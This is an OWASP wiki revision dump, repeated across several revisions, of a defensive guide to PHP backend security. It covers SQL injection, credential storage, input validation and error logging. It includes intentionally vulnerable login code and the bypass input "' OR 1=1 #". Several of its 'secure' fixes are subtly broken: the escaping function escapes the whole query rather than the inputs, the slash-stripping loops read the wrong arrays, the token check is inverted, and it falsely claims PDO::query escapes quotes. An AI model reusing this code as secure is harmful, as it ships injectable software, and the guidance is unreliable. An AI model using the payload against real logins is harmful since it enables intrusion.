* PHP : "MySQL Improved Extension" - http://it2.php.net/manual/en/book.mysqli.php<br />
* Ilia Alshanetsky : "architect's Guide to PHP Security" - http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf<br />
* PHPIDS : http://php-ids.org/</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Security_Programming&diff=34354OWASP Backend Security Project PHP Security Programming2008-07-20T14:10:47Z<p>Dbellucci: </p>
<hr />
<div>= Overview =<br />
<br />
<br />
== Example 1 ==<br />
<br />
Here follows a tipical Login Forms to authenticate user. Credentials are retrieved on a backend Database by using connection parameters stored in a ''.inc'' file.<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
<br />
'''db.inc'''<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
The above example has two vulnerability:<br />
<br />
* '''Authentication Bypass'''<br />
*: by exploiting a SQL Injection vulnerability Authentication you can authenticate as :<br />
*:: <nowiki>username ' OR 1=1 #</nowiki><br />
*:: <nowiki>password </nowiki>''anything''<br />
* '''Information Disclosure'''<br />
*: an attacker may retrieve ''db.inc'' on unproper configured WEB Server<br />
<br />
== Example 2 ==<br />
<br />
The following sample code cames from a online book catalog.<br />
<br />
'''getbook.php''' <nowiki><br />
<br />
<br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
return $aBookEntry;<br />
}<br />
<br />
....<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
/* Display retrieved book information */<br />
...<br />
...<br />
<br />
</nowiki><br />
<br />
The above example is vulnerable to ''Blind SQL Injection'' attack. An attacker exploiting this vulnerability may backup all Database, or interact with DBMS underlying Operating System.<br />
<br />
= Description =<br />
<br />
== PHP preventing SQL Injection ==<br />
<br />
When talking about preventing SQL Injection in PHP we shall take in consideration whatever to use old Database connector of newset ''PHP Portable Data Objects'' interface. To this aim will take in consideration both of them since:<br />
* PHP PDO has been introduced in PHP 5.1<br />
* PHP PDO represents a Database abstract layer<br />
* Experienced developers may want to develop a custom Abstract Layer for theire demand<br />
<br />
Reader should be aware that at the moment PDO OCI used as a Oracle Driver is experimental.<br />
<br />
<br />
<br />
=== DBMS authentication credentials ===<br />
<br />
When working with a DBMS through an authenticated connection application developers should be very carefull on how, and subsequently where, store authentication credentials to query such a backend engine. A configuration file with ''.inc'' extension should be avoided if left world wide readable by a web server since it's content can be easy retrieved. Such issue can be avoided by :<br />
<br />
* Denying remote access to ''.inc'' files <br />
<nowiki><br />
<Files ~ “\.inc$”><br />
Order allow,deny<br />
Deny from all<br />
</Files><br />
</nowiki><br />
<br />
: ''requires user intervention on Apache configuration!''<br />
<br />
<br />
* Adding a security token <br />
<nowiki><br />
<?php<br />
<br />
if (defined('SECURITY_INCLUDE_TOKEN') && SECURITY_INCLUDE_TOKEN != 'WfY56#!5150'){<br />
define ('DBMS_CONNECTION_STRING','mysql://owaspuser:owasppassword@localhost:3306');<br />
....<br />
}<br />
</nowiki><br />
<br />
<nowiki><br />
<?php<br />
define('SECURITY_INCLUDE_TOKEN', 'WfY56#!5150');<br />
include 'dbms_handler.php';<br />
..<br />
?><br />
</nowiki><br />
<br />
<br />
* configuring ''php_ini'' settings in apache<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
php_value mysql.default_host 127.0.0.1<br />
php_value mysql.default_user owaspuser<br />
php_value mysql.default_password owasppassword<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect();<br />
<br />
}<br />
?> </nowiki><br />
: ''at the moment of write it only works when backend Database Engine is MySQL''<br />
<br />
<br />
* using Apache SetEnv directive<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
SetEnv DBHOST "127.0.0.1"<br />
SetEnv DBUSER "owaspuser"<br />
SetEnv DBPASS "owasppassword"<br />
<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect(getenv("DBHOST"),<br />
getenv("DBUSER"),<br />
getenv("DBPASS"));<br />
}<br />
?><br />
<br />
<br />
</nowiki><br />
: ''requires user intervention on Apache configuration''<br />
<br />
<br />
Wich one to use is up to you. You should take into account whetever a user interventation is needed on WEB Server or not and if you want to guarantee application portability as well between different DB Backend Engine.<br />
<br />
'''Example using PDO MySQL driver:'''<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
SetEnv PDO_DSN "mysql:host=localhost;dbname=owasp"<br />
SetEnv PDO_USER "owaspuser"<br />
SetEnv PDO_PASS "owasppassword"<br />
<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function SQLConnect() {<br />
$oPdo = NULL;<br />
try {<br />
$oPdo = new PDO(getenv("PDO_DSN"),<br />
getenv("PDO_USER"),<br />
getenv("PDO_PASS"));<br />
<br />
/* Throws an exception when subsequent errors occour */<br />
$oPdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);<br />
<br />
/* handle PDO connection success */<br />
...<br />
...<br />
return $oPdo;<br />
} catch (PDOException $e) {<br />
/* handle PDO connection error */<br />
...<br />
...<br />
return NULL;<br />
}<br />
} <br />
?><br />
<br />
<br />
</nowiki><br />
<br />
=== Escaping Quotes ===<br />
<br />
''magic_quotes_gpc'' escapes quotes from HTTP Request by examing both GET/POST data and Cookie value. The truth is that any other data in HTTP Request isn't escaped and an evil user may attempt to exploit a SQL Injection vulnerability on other HTTP Request data such as User-Agent value. Another drawback is that while it performs well on MySQL (as example) it doesn't works with Microsoft SQL Server where single quote should be escaped with '''<nowiki>'''</nowiki>''' rather than '''<nowiki>\'</nowiki>'''<br />
<br />
Since every application should be portable across WEB Servers we want to rollaback from ''magic_quotes_gpc'' each time a ''php'' script is running on WEB Server:<br />
<br />
<nowiki><br />
function magic_strip_slashes() {<br />
if (get_magic_quotes()) {<br />
<br />
// GET<br />
if (is_array($_GET)) {<br />
foreach ($_GET as $key => $value) {<br />
$_GET[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// POST<br />
if (is_array($_POST)) {<br />
foreach ($_GET as $key => $value) {<br />
$_POST[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// COOKIE<br />
if (is_array($_COOKIE)) {<br />
foreach ($_GET as $key => $value) {<br />
$_COOKIE[$key] = stripslashes($value);<br />
}<br />
}<br />
}<br />
}<br />
</nowiki><br />
<br />
<br />
and use a DBMS related function to escape quotes such as:<br />
* MySQL: ''mysql_real_escape_string''<br />
* PostgreSQL: ''pg_escape_string''<br />
<br />
<nowiki><br />
function sEscapeString($sDatabase, $sQuery) {<br />
$sResult=NULL;<br />
<br />
switch ($sDatabase) {<br />
case "mysql":<br />
$sResult = mysql_real_escape_string($sQuery);<br />
break;<br />
<br />
case "postgresql":<br />
$sResult = pg_escape_string($sQuery);<br />
break;<br />
<br />
case "mssql":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
<br />
case "oracle":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
}<br />
<br />
return $sResult;<br />
}<br />
}<br />
</nowiki><br />
<br />
Since both Oracle and Microsoft SQL Server connectors doesn't have a real ''escape_string'' function software developer can create his own escapeing functions or use ''addslasshes()''.<br />
<br />
With properly quotes escaping we can prevent Authentication Bypass vulnerability in Example 1:<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./dbmshandler.php);<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
/* escape quotes */<br />
$result = sEscapeString("mysql", $query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
}<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
PHP Portable Data Objects implements a quote() method on PDO class but it's worst noticing that not all underlying PDO Drivers implements this method. On the other side ''PDO::query()'' method by defualt escape quotes on SQL query string as shown in following example.<br />
<br />
<br />
'''Example using PDO MySQL driver:'''<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./dbmshandler.php');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName=NULL;<br />
if ($oPdo = SQLConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
try {<br />
$row = $oPdo->query($query)->fetch();<br />
if ($row) {<br />
return $row['username'];<br />
} <br />
} catch (PDOException e) {<br />
/* handle execption and SQL Injection Attempt */<br />
....<br />
....<br />
return NULL;<br />
} <br />
}<br />
<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
=== Prepared Statements ===<br />
<br />
Prepared Statements is the ability to preparse and generate an execution plan for SQL Queries. Such an execution plan will be instantiated with typed parameters. If params are of incorrect type or contains a nested query the execution of plan will fails.<br />
<br />
<nowiki><br />
<?php<br />
function getBookByID($id) {<br />
$aBook = NULL;<br />
$link = mysqli_connect();<br />
<br />
$stmt = $link->stmt_init();<br />
if ($stmt->prepare("SELECT * FROM books WHERE ID =?")) {<br />
$stmt->bind_param("i",$id);<br />
$stmt->execute();<br />
<br />
/* Retrieves book entry and fill $aBook array */<br />
...<br />
...<br />
<br />
/* Free prepared statement allocated resources */<br />
$stmt->close();<br />
}<br />
<br />
return $aBook;<br />
<br />
} <br />
<br />
/* MAIN */<br />
<br />
/* Cast GET 'id' variable to integer */<br />
$iID = (int)$_GET['id'];<br />
<br />
$aBookEntry = getBookByID($iID);<br />
<br />
if ($aBookEntry) {<br />
/* Display retrieved book entry */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
PHP Portable Data Objects emulate prepared statements for drivers with no natively supports. Here follows an example of prepared statements usage with PHP PDO<br />
<br />
<br />
'''Example using PDO:'''<br />
<nowiki><br />
<?php<br />
include('./dbmshandler.php');<br />
<br />
function getBookByID($id) {<br />
$aBook = NULL;<br />
$oPdo = SQLConnect();<br />
<br />
if ($oPdo) {<br />
$stmt = $oPdo->prepare("SELECT * FROM books WHERE ID =?");<br />
$stmt->bindParam(1, $id, PDO::PARAM_INT);<br />
if ($smmt->execute()) {<br />
$aBook = $stmt->fetch(PDO::FETCH_ASSOC);<br />
}<br />
}<br />
<br />
return $aBook;<br />
<br />
} <br />
</nowiki><br />
<br />
=== Data Validation ===<br />
<br />
Modern WEB Applications are supposed to interacts with users throught input data. Input data can be supplied through a HTML Form and WEB Application retrieves such a data through a GET/POST variable. Input data can contains malicious values to exploit some<br />
security flaws in WEB Applications. As a general rule data validation should be performed on both input and output values, since they both depends on each other. data should be rejected unless it matches a criteria. Developers should define a restriced range for valid data and reject everything else. Such a criteria will include:<br />
* Data Type <br />
* Data Length;<br />
* Data Value <br />
<br />
A typical Data Validation workflow will be:<br />
* Get the data to be validated<br />
* Check if it should be a numerical or string <br />
* Look at it's size in byte to avoid errors when database table columns has some constraint in value size<br />
* Check if data contains a valid value (EMail, phone number, date, and so on).<br />
<br />
To this aims PHP can help developers with :<br />
* casting operators<br />
* regexp functions<br />
<br />
<br />
<br />
'''Numeric Data'''<br />
<br />
PHP is not a strongly typed languages it means that every input data is a string by default. If you want to validate a numeric value you should casting operator. Casting an input data to ''int'' ensure that:<br />
<br />
* if data is numeric you get its value<br />
* if data doesn't contains a number casting will returns 0<br />
* if data includes a number casting will returns its numeric portion<br />
<br />
'''Example'''<br />
<br />
<nowiki><br />
...<br />
$iId = (int)$_GET['id'];<br />
if ( $iId != $_GET['id']) {<br />
/* User supplied data is not numeric, handle exception */<br />
...<br />
return;<br />
} <br />
<br />
if ($iId > MAX_ID_VALUE || $iId < MIN_ID_VALUE) {<br />
/* User supplied data is numerica but it doesn't contains an allowed value, handle exception */<br />
<br />
}<br />
<br />
/* $iId is safe */<br />
<br />
<br />
</nowiki><br />
<br />
<br />
<br />
''' String Data'''<br />
<br />
Strings data validation is a bit tricker since it can contains malicious values. It means that it should be validated<br />
on what data is supposed to include. Data can contains:<br />
* EMail Address<br />
* Phone Number<br />
* URL<br />
* Name<br />
* Date<br />
<br />
and so on.<br />
<br />
To this aim WEB Developers should match Input Data against a Regular Expression to match what Data is supposed to inclues.<br />
Here follows some example.<br />
<br />
'''Example: Validating an Email Address'''<br />
<br />
<nowiki><br />
...<br />
$sEmail = $_POST['email'];<br />
if (! preg_match("/^[\w-]+(?:\.[\w-]+)*@(?:[\w-]+\.)+[a-zA-Z]{2,7}/", $sEmail)) {<br />
/* User supplied data is not a valid email address, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
/* $sEmail is safe, check len */<br />
<br />
if (strlen($sEmail) > MAX_EMAIL_LEN) {<br />
/* User supplied data is to big for backend database, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
<br />
<br />
</nowiki><br />
<br />
<br />
'''Example: Validating an Italian Phone Number '''<br />
<nowiki><br />
...<br />
$sPhoneNumber = $_POST['phonenumber'];<br />
<br />
if (! preg_match(, "/[0-9]+[-\/ ]?[0-9]+/", $sPhoneNumber)) {<br />
/* User supplied data is not a phone number, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
/* $sPhoneNumber is safe, check len */<br />
<br />
if (strlen($sPhoneNumber) > MAX_PHONENUMBER_LEN) {<br />
/* User supplied data is to big for backend database, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
<br />
</nowiki><br />
<br />
<br />
<br />
<br />
''' OWASP PHP Filters'''<br />
<br />
OWASP PHP Filters project allow programmers an easy way to perform data validation. Even if project is quite old and not <br />
well mantained it's still well working and defines a valid approach to performa Data Validation.<br />
<br />
=== Logging Errors ===<br />
<br />
Malicious users typicaly attempt to explot SQL Injection Vulnerabilities by looking at some Error Codes on dynamic pages.<br />
When PHP fails to query Backend Database an error message will be returned to users if error are not handled on a safe way.<br />
WEB Developers uncorrectly debug SQL Errors by displaying some kind of error message on WEB Page when query fails. This approach should not be considered safe since Errors should never be displayed to users.<br />
<br />
Users should also never deduce that something wrong happens otherwise it could be considered a flaw to further more exploits a vulnerability. To this aim we're going to how to safely handle errors.<br />
<br />
<nowiki><br />
function unavailable_resource_handler() {<br />
/* Handle an 'Unavailable Resource' event without supplying further information to user <br />
*<br />
* Example:<br />
* die('Resource not available');<br />
* <br />
*<br />
*/<br />
..<br />
..<br />
<br />
}<br />
<br />
function sql_error_handler ($sQuery, $sMsg) {<br />
/* Log failed SQL Query statement */<br />
error_log ($sQuery, 3, "/var/log/site/sqlquery_error.log");<br />
<br />
/* Log error message */<br />
error_log ($sMsg, 3, "/var/log/site/site_error.log");<br />
<br />
/* Notify user that resource is unavailable */<br />
unavailable_resource_handler();<br />
}<br />
<br />
</nowiki><br />
<br />
== PHP preventing LDAP Injection ==<br />
<br />
=== LDAP Authentication Credentials ===<br />
<br />
=== Data Validation ===<br />
<br />
=== Logging Errors ===<br />
<br />
== Detecting Intrusions from WEBAPP ==<br />
<br />
== Defeating Automated Tools ==<br />
<br />
= References =<br />
<br />
* OWASP : "OWASP Guide Project" - http://www.owasp.org/index.php/OWASP_Guide_Project<br />
* OWASP : "OWASP PHP Filters" - http://www.owasp.org/index.php/OWASP_PHP_Filters<br />
* OWASP : "OWASP PHP Project" - http://www.owasp.org/index.php/Category:OWASP_PHP_Project<br />
* PHP : "MySQL Improved Extension" - http://it2.php.net/manual/en/book.mysqli.php<br />
* Ilia Alshanetsky : "architect's Guide to PHP Security" - http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Security_Programming&diff=30323OWASP Backend Security Project PHP Security Programming2008-06-03T22:23:38Z<p>Dbellucci: </p>
<hr />
<div>= Overview =<br />
<br />
<br />
== Example 1 ==<br />
<br />
Here follows a tipical Login Forms to authenticate user. Credentials are retrieved on a backend Database by using connection parameters stored in a ''.inc'' file.<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
<br />
'''db.inc'''<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
The above example has two vulnerability:<br />
<br />
* '''Authentication Bypass'''<br />
*: by exploiting a SQL Injection vulnerability Authentication you can authenticate as :<br />
*:: <nowiki>username ' OR 1=1 #</nowiki><br />
*:: <nowiki>password </nowiki>''anything''<br />
* '''Information Disclosure'''<br />
*: an attacker may retrieve ''db.inc'' on unproper configured WEB Server<br />
<br />
== Example 2 ==<br />
<br />
The following sample code cames from a online book catalog.<br />
<br />
'''getbook.php''' <nowiki><br />
<br />
<br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
return $aBookEntry;<br />
}<br />
<br />
....<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
/* Display retrieved book information */<br />
...<br />
...<br />
<br />
</nowiki><br />
<br />
The above example is vulnerable to ''Blind SQL Injection'' attack. An attacker exploiting this vulnerability may backup all Database, or interact with DBMS underlying Operating System.<br />
<br />
= Description =<br />
<br />
== PHP preventing SQL Injection ==<br />
<br />
When talking about preventing SQL Injection in PHP we shall take in consideration whatever to use old Database connector of newset ''PHP Portable Data Objects'' interface. To this aim will take in consideration both of them since:<br />
* PHP PDO has been introduced in PHP 5.1<br />
* PHP PDO represents a Database abstract layer<br />
* Experienced developers may want to develop a custom Abstract Layer for theire demand<br />
<br />
Reader should be aware that at the moment PDO OCI used as a Oracle Driver is experimental.<br />
<br />
<br />
<br />
=== DBMS authentication credentials ===<br />
<br />
When working with a DBMS through an authenticated connection application developers should be very carefull on how, and subsequently where, store authentication credentials to query such a backend engine. A configuration file with ''.inc'' extension should be avoided if left world wide readable by a web server since it's content can be easy retrieved. Such issue can be avoided by :<br />
<br />
* Denying remote access to ''.inc'' files <br />
<nowiki><br />
<Files ~ “\.inc$”><br />
Order allow,deny<br />
Deny from all<br />
</Files><br />
</nowiki><br />
<br />
: ''requires user intervention on Apache configuration!''<br />
<br />
<br />
* Adding a security token <br />
<nowiki><br />
<?php<br />
<br />
if (defined('SECURITY_INCLUDE_TOKEN') && SECURITY_INCLUDE_TOKEN != 'WfY56#!5150'){<br />
define ('DBMS_CONNECTION_STRING','mysql://owaspuser:owasppassword@localhost:3306');<br />
....<br />
}<br />
</nowiki><br />
<br />
<nowiki><br />
<?php<br />
define('SECURITY_INCLUDE_TOKEN', 'WfY56#!5150');<br />
include 'dbms_handler.php';<br />
..<br />
?><br />
</nowiki><br />
<br />
<br />
* configuring ''php_ini'' settings in apache<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
php_value mysql.default_host 127.0.0.1<br />
php_value mysql.default_user owaspuser<br />
php_value mysql.default_password owasppassword<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect();<br />
<br />
}<br />
?> </nowiki><br />
: ''at the moment of write it only works when backend Database Engine is MySQL''<br />
<br />
<br />
* using Apache SetEnv directive<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
SetEnv DBHOST "127.0.0.1"<br />
SetEnv DBUSER "owaspuser"<br />
SetEnv DBPASS "owasppassword"<br />
<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect(getenv("DBHOST"),<br />
getenv("DBUSER"),<br />
getenv("DBPASS"));<br />
}<br />
?><br />
<br />
<br />
</nowiki><br />
: ''requires user intervention on Apache configuration''<br />
<br />
<br />
Wich one to use is up to you. You should take into account whetever a user interventation is needed on WEB Server or not and if you want to guarantee application portability as well between different DB Backend Engine.<br />
<br />
'''Example using PDO MySQL driver:'''<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
SetEnv PDO_DSN "mysql:host=localhost;dbname=owasp"<br />
SetEnv PDO_USER "owaspuser"<br />
SetEnv PDO_PASS "owasppassword"<br />
<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function SQLConnect() {<br />
$oPdo = NULL;<br />
try {<br />
$oPdo = new PDO(getenv("PDO_DSN"),<br />
getenv("PDO_USER"),<br />
getenv("PDO_PASS"));<br />
<br />
/* Throws an exception when subsequent errors occour */<br />
$oPdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);<br />
<br />
/* handle PDO connection success */<br />
...<br />
...<br />
return $oPdo;<br />
} catch (PDOException $e) {<br />
/* handle PDO connection error */<br />
...<br />
...<br />
return NULL;<br />
}<br />
} <br />
?><br />
<br />
<br />
</nowiki><br />
<br />
=== Escaping Quotes ===<br />
<br />
''magic_quotes_gpc'' escapes quotes from HTTP Request by examing both GET/POST data and Cookie value. The truth is that any other data in HTTP Request isn't escaped and an evil user may attempt to exploit a SQL Injection vulnerability on other HTTP Request data such as User-Agent value. Another drawback is that while it performs well on MySQL (as example) it doesn't works with Microsoft SQL Server where single quote should be escaped with '''<nowiki>'''</nowiki>''' rather than '''<nowiki>\'</nowiki>'''<br />
<br />
Since every application should be portable across WEB Servers we want to rollaback from ''magic_quotes_gpc'' each time a ''php'' script is running on WEB Server:<br />
<br />
<nowiki><br />
function magic_strip_slashes() {<br />
if (get_magic_quotes()) {<br />
<br />
// GET<br />
if (is_array($_GET)) {<br />
foreach ($_GET as $key => $value) {<br />
$_GET[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// POST<br />
if (is_array($_POST)) {<br />
foreach ($_GET as $key => $value) {<br />
$_POST[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// COOKIE<br />
if (is_array($_COOKIE)) {<br />
foreach ($_GET as $key => $value) {<br />
$_COOKIE[$key] = stripslashes($value);<br />
}<br />
}<br />
}<br />
}<br />
</nowiki><br />
<br />
<br />
and use a DBMS related function to escape quotes such as:<br />
* MySQL: ''mysql_real_escape_string''<br />
* PostgreSQL: ''pg_escape_string''<br />
<br />
<nowiki><br />
function sEscapeString($sDatabase, $sQuery) {<br />
$sResult=NULL;<br />
<br />
switch ($sDatabase) {<br />
case "mysql":<br />
$sResult = mysql_real_escape_string($sQuery);<br />
break;<br />
<br />
case "postgresql":<br />
$sResult = pg_escape_string($sQuery);<br />
break;<br />
<br />
case "mssql":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
<br />
case "oracle":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
}<br />
<br />
return $sResult;<br />
}<br />
}<br />
</nowiki><br />
<br />
Since both Oracle and Microsoft SQL Server connectors doesn't have a real ''escape_string'' function software developer can create his own escapeing functions or use ''addslasshes()''.<br />
<br />
With properly quotes escaping we can prevent Authentication Bypass vulnerability in Example 1:<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./dbmshandler.php);<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
/* escape quotes */<br />
$result = sEscapeString("mysql", $query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
}<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
PHP Portable Data Objects implements a quote() method on PDO class but it's worst noticing that not all underlying PDO Drivers implements this method. On the other side ''PDO::query()'' method by defualt escape quotes on SQL query string as shown in following example.<br />
<br />
<br />
'''Example using PDO MySQL driver:'''<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./dbmshandler.php');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName=NULL;<br />
if ($oPdo = SQLConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
try {<br />
$row = $oPdo->query($query)->fetch();<br />
if ($row) {<br />
return $row['username'];<br />
} <br />
} catch (PDOException e) {<br />
/* handle execption and SQL Injection Attempt */<br />
....<br />
....<br />
return NULL;<br />
} <br />
}<br />
<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
=== Prepared Statements ===<br />
<br />
